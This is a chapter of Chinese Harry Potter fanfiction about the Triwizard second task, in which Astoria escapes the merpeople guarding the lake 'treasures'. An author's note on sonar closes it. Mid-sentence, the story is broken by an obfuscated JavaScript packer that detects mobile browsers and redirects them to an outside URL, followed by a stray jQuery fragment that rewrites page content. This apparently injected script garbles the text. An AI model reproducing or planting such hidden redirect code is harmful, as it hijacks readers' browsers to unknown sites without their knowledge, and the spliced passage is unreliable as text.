在哈利手握大捆灰绿色草团——可以解决燃眉之急的鳃囊草，匆匆赶去比赛现场时，过道上来来往往的学生口中却念叨着别的事。


    貌似对于很多人来说，某件意外的发生已经远超当前第二关项目的重要性。


    巫师们七言八语地描述着，各自揣测着事态发展。


    哈利扭过头，耳朵灵敏竖起，终于从杂乱的言语中获取出一个有用信息。


    ——薇安娜·马尔福失踪了。


    从昨晚到现在，仿佛凭空消失了一般。


    消息一传入耳，纠结数月的答案电光火石般从脑海闪过，霎时响起阵阵嗡鸣。


    哈利一个趔趄，些许站不稳地扶上墙壁。


    心头沉重的巨石径直从胸腔落入胃袋，强行压抑那股让人难以言喻的烦闷。


    ——他知道的、他理应知道。


    自己除了家人、朋友、和……她，还能有什么“宝藏”？


    他们会对谁下手？会选择谁？


    ——他最珍贵的还能有谁？！


    指尖顿感冰凉。怀揣邓布利多和霍格沃茨不会伤害学生的信任，哈利深吸口气，加速赶往黑湖对岸。


    场地已经重新搭起。和第一关座无虚席的景象不同，此时观众台上满是零散的空位。


    塞德里克、克鲁姆、芙蓉都已成排站在铺着金黄色桌布的裁判桌旁，浅浅觑向踩点到的哈利。


    他到的有些迟，但却没人关心这个。


    裁判聚集的方向已然闹成了一锅粥。斯莱特林的学生无人落座，其中还混杂着其他学院颜色的校袍，围堵着邓布利多寻求解释。


    “你们这是绑架，先生。”潘西厉声道。


    众人纷纷斥责，不赞成地看向邓布利多。


    “湖底又黑又冷，就没考虑过学生的感受吗？”


    “我记得薇安娜向来不沾冰水。”


    “小马尔福很容易生病……”


    “她哥哥从不让她碰这些。”


    “这么说起来，德拉科去哪儿了？”西莫突然问道。


    “在给魔法部法律执行司写信。”克拉布扭头瞥了他一眼。


    “六英尺的羊皮纸，展开都快和他差不多高了。”


    “他为什么不直接来和克劳奇抗议？”迪安插嘴道。


    “事实上，魔法法律执行司的老大就在我们面前。”


    “是的……”巴蒂·克劳奇弱弱举起自己的手。


    “我的确是司长……目前。”


    绑走学生作为比赛的一部分——身为计划者之一的魔法部官员，在面对找上门的大批贵族后裔时多少带点心虚。


    毕竟在此之前，谁都没想到霍格沃茨的学生对于一名女巫的失踪会这么在意。


    设计比赛的裁判们原以为的场景，大概就是像目前的布斯巴顿一样，只有芙蓉自己意识到了妹妹的失踪。


    “有的东西就是得走程序，蠢货。”高尔对着迪安的腿弯用力一脚，直把他踹得踉跄。


    “哈？”迪安不可置信地回头。


    “你骂我？”


    “那你想吃纸杯蛋糕吗？托马斯。”


    迪安头皮一麻，自觉理亏地息声。


    “嘿！没人发现阿斯托利亚也不见了吗？！”


    西瑞尔推开一众碍事的家伙，扯着嗓子喊道。


    “你不用担心她。”一名低年级斯莱特林女巫道。“格林格拉斯绝对可以保证自己的安全。”


    “放屁！”西瑞尔恶狠狠瞪向她。


    “咳、咳。”


    邓布利多清了清嗓子，施了扩音咒的声带骤然发出洪亮清晰的声音。


    “看来我们的勇士都已经知道项目的内容了。”


    “现在各就各位。”巴格曼先生挥舞双臂，示意周边学生先放下争执。


    “听我的口哨声，在它响起后，比赛才正式开始，勇士们将有一个小时的时间找到他们丢失的珍宝……”


    “但由于某些特殊原因，湖底的宝藏有且只有三个。”邓布利多随之接上巴格曼的话。


    “所以在经过主办方与魔法部加急协商后，本关将会采用五进三的方式举行。”


    “也就是说，在时隔百年再次开展的争霸赛第二关，就会出现残忍的淘汰制度。”巴格曼跳上高台，扫视过台下的学生。


    “到底是哪三位幸运又英武的勇士，可以成功取回他们丢失的珍宝？”


    “让我们拭目……”


    巴格曼举起身前的口哨。


    “嘟——！！”


    *


    外界的纷乱终究影响不到隐秘的湖底。


    黑湖的温度冰凉而刺骨。墨黑色的水草波动、纠缠，构成如丛林般、不见底的黑幕。


    黑影游动，大片淤泥被带着泛起黑乎乎的水涡。长角的水怪露出尖牙，阴暗朦胧的村庄边缘闪烁诡谲森然的绿芒。


    四下巨石蜗居，粗糙的表皮斑斑点点沾着各类水藻。


    人鱼村庄林立，歌声零碎环绕，成排的幼年人鱼齐声歌唱。


    门口处的小格林迪洛好奇探头，其余铁灰色皮肤的人鱼则三两成团，墨绿色的头发长而蓬乱，各自紧握长矛，发出低沉嘶哑的笑。


    粗壮有力的银色鱼尾用力晃动，荡起具有冲击实感的层层波纹。


    唰——


    水波撞击腿弯，阿斯托利亚紧拽飘忽的意识，硬生生逼迫自己冲出已经围困许久的梦魇。


    疲倦的身体使不出力，神识却在危险至极的境地里分外清醒。


    意识到此时身处湖底，她下意识屏住呼吸，眯起眸子环顾四周。


    左手边是一个估约八岁的银发姑娘，身上还穿着极具布斯巴顿风格的、优雅贴身的绸缎长裙。


    她睡得很沉，伴随胸脯的浮动，口中不停地冒出一长串细密的水泡。


    阿斯托利亚略加思索，隐隐猜到真相的心高高悬起。


    她用力转头看向右侧，瞳孔随之猛缩。


    美丽瘦弱的女孩穿着面料轻薄的雪白色睡裙，纤长的双腿浮于半空，随着湖水的波动轻晃。


    她面部低垂，熟悉的金发于水中交缠。粗滑的水草编织成绳，结结实实的将几人共同捆绑在一座巨型人鱼雕像的尾端。


    阿斯托利亚止不住颤抖起来。


    血液流速猝然加快，被冰凉湖水折磨麻木的神经强制性重新运作，乏力的身体也开始剧烈挣动。


    女孩试图张口高呼，口中却只接连冒出一些水泡，传出的声音轻微、混沌且模糊不清。


    ——好像有人给他们施加了能在水中呼吸的秘法，但依旧难以说话。


    守卫的人鱼许是发现了这边的动静，摆动着鱼尾赶来，震惊地看向提前醒来的阿斯托利亚。


    “上头有说过该怎么处理吗？”他们大声朝中间那名被围簇着、估约七英尺高、带着鲨鱼牙齿做成的短项链的长胡子人鱼问道。


    显然，那是位做主的。


    阿斯托利亚眯起眸子，危险地看向眼前丑陋的人鱼群。


    “没说过。”中间的人鱼用着低沉沙哑的声音，吩咐道。


    “但哪怕她们清醒了，也注定无法逃出……我们只负责看守，然后等待那些勇士想方设法地救走她们。”


    “不能插手、不准帮忙、一人只能带走一个。”


    周边的人鱼纷纷咧开嘴，露出残缺不全、黄而尖锐的牙齿。不怀好意地笑出声。


    “……可怜的宝藏。”


    阿斯托利亚瞬间眼眶通红，她瞪大眼，不服输地看向看守自己和薇安娜的人鱼。


    身上粗滑结实、由水草制成的捆绳有生命般，随着挣扎的动作越缩越紧。


    体内本该波涛汹涌的魔力被不知名的远古魔咒封印，缩减成孱弱的小溪。


    “……可怜的宝藏。”


    “等待勇士拯救的宝藏。”


    “无法自主逃离的宝藏。”


    不成调的歌声四处响起，阿斯托利亚张大嘴，貌似愤怒地喊了两句。


    冰凉的湖水鱼贯涌入嗓眼，浸了水的鼻腔和咽腔贯通，生理盐水被硬生生逼出眼眶。


    本该畅通的呼吸完全失控，口中气泡接连成串地冒出，顺着湖波攀升上生存渴求的岸曙。


    被水草死死牵制的手臂勉强右移，拼尽全力触碰到薇安娜身侧的小指。


    意识逐渐下沉。阿斯托利亚挣扎着，体内微弱的魔力涌动，试图逃离封印的桎梏。


    突然有人鱼尖声喊道。


    “——她在把自己淹死！”


    放声高歌的鱼群瞬间如折断唱针的唱片机般止住歌喉，齐刷刷转头看向挣扎呛水的金发姑娘。


    “可她明明可以呼吸！”


    “邓布利多已经给她们施过咒了！”


    领头的人鱼推开身前阻碍前行的鱼群，面色阴沉地看向状态极差、几近溺亡的阿斯托利亚。


    邓布利多主动开口，以某种珍贵的驻颜魔药为报酬，请求黑湖湖底的人鱼帮忙看守第二关项目的“宝藏”。


    他身为人鱼一族的首领，利益当前，自然不可能拒绝本世纪最伟大的白巫师。


    两人一拍即合。


    邓布利多给了人鱼看守的权利，而守卫的任务除了监督勇士，就是不让“宝藏”遭受其余低智的湖底生物——例如格林迪洛的攻击。


    “邓布利多的保护魔咒不可能出现任何问题。”领头的人鱼沉声道。


    “所以这个女巫是故意的！”


    “她居然在威胁我们？！”


    人鱼不可置信的嚷嚷起来。


    “我们必须惩罚她！戏弄族群的狡猾女巫——”


    “闭嘴！”首领银尾一甩，狠狠拍开提出惩罚的那条人鱼。


    “邓布利多是为了让我们保证她们的安全！要是宝藏出事了，我们都没好果子吃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588825|143191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    他冷冷觑向将自己折腾地奄奄一息，明晃晃用生命作为要挟的阿斯托利亚。


    ——霍格沃茨的学生不能死在这儿！


    “给她松绑！”他咬牙下令。


    另侧的人鱼发出声高昂的吟唱，鱼尾摆动前行，不服气地举起长矛，连扯带拽地划断捆绑着几人的水草。


    三人身体顺势飘浮起来，阿斯托利亚的手紧拽薇安娜，防止她离自己太远。


    迷离的意识瞬间强制回笼，女孩压下肺腔的不适，猛地踹向靠近两人的人鱼守卫。


    她将眼睛眯成一条缝，警惕地四处瞥着。


    水中阻力太大，身上的魔杖早已被人收走，赤手空拳的女孩自然敌不过数十名手拿长矛的守卫。


    “你、骗了我们。”首领面色铁青地看向耍诈的阿斯托利亚。


    他将被重新逮捕的银发姑娘——勇士芙蓉的妹妹重新捆绑上巨大人鱼雕塑的尾端，再缓缓逼近被围拢住的阿斯托利亚。


    “为什么不好好呆在原地，等着勇士来拯救你呢？”首领些许不理解的问道。


    貌似也没想着能得到对面女孩的回答，他高举手上的银色长矛，人鱼鱼群顷刻得令，一时间蜂拥而上。


    阿斯托利亚口中吐出一串细密的气泡，她不及思索，用力扯过朝自己袭来的墨色藤蔓。


    藤蔓在手臂上击拍出血红色的痕迹，女孩浑然不觉，拼力将体内重新浮现涌动的魔力逼出，顺着藤蔓袭向漫不经心的人鱼首领。


    首领银尾一甩，拍开藤蔓的尾端钝痛，下意识瑟缩扭转尾骨。


    他死死皱起眉，獠牙凶悍毕露。


    黑色藤蔓周边绿光闪现，快速狠辣地反向缠绕住周边的大批人鱼。


    转眼间，高亢刺耳的吟声尖锐响起，钻心的魔咒顺着藤蔓，如同万箭穿心般、将众人鱼折磨的痛不欲生。


    “巫师禁止使用这种咒语！”首领嘶吼出声。


    阿斯托利亚面无表情地瞥过暴怒的人鱼首领，体内重新活络的魔力再次开始运作。


    手腕猛地施力，黑色藤蔓瞬间生出尖刺，狠狠刺入被缠绕住的人鱼腰部。


    罪孽的绿光闪耀，森然亮起的湖底一时悲吟四起。


    ——巫师并不只能依靠魔杖才能施咒。


    就像女巫并不只能依靠勇士才能获得拯救。


    ——她自有她的神明。


    薇安娜嘴角弯起一道微不可察的弧度。


    “陷入昏迷”的金发姑娘眼眸低垂，漠然听着周边声嘶力竭、仿若鬼咤狼嚎的喊叫。


    她自始至终都在配合邓布利多，演完这一出勇士与宝藏的戏码。


    只是阿斯托利亚的随机应变和在黑魔法造诣上的超常发挥，的确超乎了她的意料。


    算算时间……


    “咚——”


    水声咕噜，身侧波纹震荡，发顶水流涌动，传出一股酥麻痒意。


    雷达穿过水波，声纳嗡鸣回响。


    阿斯托利亚冷眼扫过悬停于头顶上空、貌似鱼雷的巨型密闭游艇。


    废物。她在心底骂了句。


    ——来的真迟。


    手握黑色藤蔓的金发姑娘急忙回头，无暇顾及狼狈散开的长直发。


    她拉紧薇安娜的小手，稍一用力，借着水流将她推向穿着潜水服下潜艇的西瑞尔。


    慌忙接住薇安娜的西瑞尔：？


    他茫然的指了指自己，又指了指正用肢体语言催他上去的阿斯托利亚。


    可当他抱着薇安娜游向阿斯托利亚的时候，两名凶神恶煞的人鱼守卫齐齐用长矛拦住了他。


    他们不怀好意地咧开嘴角，解释道。


    “邓布利多说了。”


    “每位勇士只能带走一个宝藏。”


    话音刚落，两条人鱼瞬间被阿斯托利亚用藤蔓绑住，如触电般颤抖尖叫起来。


    随后如破布般，被阿斯托利亚不加迟疑地丢到一边。


    她再次抓起一条纯黑色、不泛绿光的藤条，不轻不重地甩上西瑞尔的腰侧，四两拨千斤般、将他抽向潜艇的方向。


    藏在潜水服中的金发少年吃痛又气急般发出一声闷哼。确保薇安娜的安全后，不死心地往湖底游去。


    数量庞大的鱼群一阵接一阵地赶来，络绎不绝地挡到西瑞尔面前，坚决不让他带走第二个人。


    西瑞尔：……


    他欲哭无泪地看向面前态度强势的人鱼。


    道理他都懂。但这、这……


    这不是他的宝藏啊！


    ···—··———···—···—


    PS：


    事实上，潜水艇在湖底的噪音并没有这么响，发出的那是声纳系统特有的声音。而声纳属于超声波，大多情况下，人耳难以捕捉。


    就像海豚在海里的叫声，在现实中也并不夸张。但在一些影视作品中，会选择夸大手法。